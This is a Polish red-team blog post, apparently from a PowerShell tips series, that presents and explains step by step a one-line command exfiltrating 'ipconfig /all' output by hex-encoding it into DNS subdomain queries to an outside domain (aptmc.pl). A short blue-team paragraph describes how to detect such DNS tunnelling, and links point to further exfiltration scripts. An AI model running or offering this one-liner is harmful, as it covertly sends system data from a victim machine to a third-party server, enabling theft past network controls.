alphasec
PowerShell protip 008a
in 𝕏

Eksfiltracja DNS w jednym wierszu

tty1 · powershell
PS> (-join ((ipconfig /all|out-string).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}
#PowerShell#RedTeam#Windows#DNS#Exfiltration

Eksfiltracja po DNS pojawiła się już w protipie 000d, ale tam była wieloliniowym skryptem. Tutaj ta sama funkcjonalność zamknięta jest w jednym poleceniu — bliźniaczo podobnym do mojego ulubionego onelinera do eksfiltracji po ICMP z protipa 0072.

Jak to działa — krok po kroku

Rozłóżmy onelinera na czynniki pierwsze:

-join (...)

Operator -join po lewej stronie wyrażenia złączy wszystkie znaki z tablicy znakiem pustym.

(ipconfig /all|Out-String)

Uruchamiamy ipconfig, a wynik wysyłamy do Out-String, dzięki czemu całość zostaje przekazana dalej jako jeden łańcuch znaków.

-split "(.{64})"

Dzielimy string separatorem zdefiniowanym wyrażeniem regularnym .{64} (dowolne 64 znaki). Nawias okrągły sprawia, że -split zwraca także same separatory.

%{ "{0:X2}"-f[int]$_ }

% to alias na ForEach-Object. Każdy znak zamieniamy na postać szesnastkową (wielkie litery, dokładnie 2 znaki).

-match "."

Operator -match filtruje tablicę, zostawiając tylko elementy zawierające jakiś znak — pozbywamy się pustych linii.

-replace "([\w]{16})", "`$1."

Każde 16 znaków zamieniamy na te same 16 znaków zakończone kropką — dzielimy domenę na subdomeny po 16 znaków. Końcową kropkę usuwamy metodą .trim('.').

Resolve-DNSName "$_.$(($i++)).aptmc.pl"

Budujemy pełną domenę z subdomen z payloadem i odpytujemy Resolve-DNSName — w ten sposób eksfiltrowane dane trafiają do serwera obsługującego domenę.

// dla blue teamu

Sygnał do wychwycenia: lawina zapytań DNS o długie, losowo wyglądające subdomeny tej samej domeny nadrzędnej. Monitoruj długość i entropię nazw oraz liczbę unikalnych subdomen na domenę — to klasyczny wzorzec tunelowania i eksfiltracji po DNS.

Eksfiltracja DNS w jednym wierszu
// dane wyciekają zakodowane w subdomenach zapytań DNS

Przydatne linki

Invoke-DNSExfil.ps1 — prosta funkcja do eksfiltracji po DNS github ↗ PowerShell Kung-Fu (CONFidence) — eksfiltracja i infiltracja po DNS w akcji video ↗ # protip 000d — eksfiltracja DNS większym skryptem protip ↗ # protip 0072 — analogiczny oneliner do eksfiltracji po ICMP protip ↗
← poprzedni protip 0089 ••• Wszystkie protipy
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: